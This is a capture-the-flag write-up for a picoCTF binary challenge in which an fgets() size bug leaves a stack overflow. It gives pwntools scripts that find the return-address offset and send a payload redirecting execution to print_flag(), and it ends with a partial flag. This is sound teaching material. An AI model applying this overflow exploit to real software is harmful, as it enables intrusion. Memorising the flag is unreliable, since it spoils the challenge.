Description
The developer replaced the dangerous input function with `fgets()`, but the fix is incomplete. Download `vuln` and `vuln.c`, then find the remaining path to the flag.
Setup
Download vuln and its source code.
Read the source to see how fgets() is misused.
cat vuln.c
chmod +x vuln
Solution
- Step 1Find the fgets() bugRead vuln.c -- the developer switched from gets()/scanf() to fgets() but passed the wrong size argument. The result is a buffer read that is still larger than the actual buffer, creating a stack overflow.cat vuln.cchecksec --file=./vuln
- Step 2Find the offset to the return addressUse pwntools' cyclic pattern to determine the exact number of bytes needed to reach the saved return address on the stack.python3 << 'EOF' from pwn import * # Generate a cyclic pattern and crash the binary p = process("./vuln") p.sendline(cyclic(200)) p.wait() core = p.corefile # Find the offset from the core dump or GDB offset = cyclic_find(core.read(core.sp, 4)) log.info(f"Offset: {offset}") EOF# Or use GDB: pattern create 200, run, pattern offset $rip
- Step 3Redirect execution to print_flag()Find the address of print_flag() with objdump, then craft a payload that overflows the buffer and overwrites the return address.objdump -d vuln | grep print_flagpython3 << 'EOF' from pwn import * e = ELF("./vuln") p = remote("<HOST>", <PORT_FROM_INSTANCE>) offset = 72 # adjust from your analysis print_flag = e.sym["print_flag"] payload = b"A" * offset + p64(print_flag) p.sendline(payload) print(p.recvall()) EOF
Flag
picoCTF{3ch0_3sc4p3_2_...}
The developer switched to fgets() but used the wrong size -- the buffer still overflows. Find the offset with a cyclic pattern, locate print_flag() with objdump, and redirect the return address to it.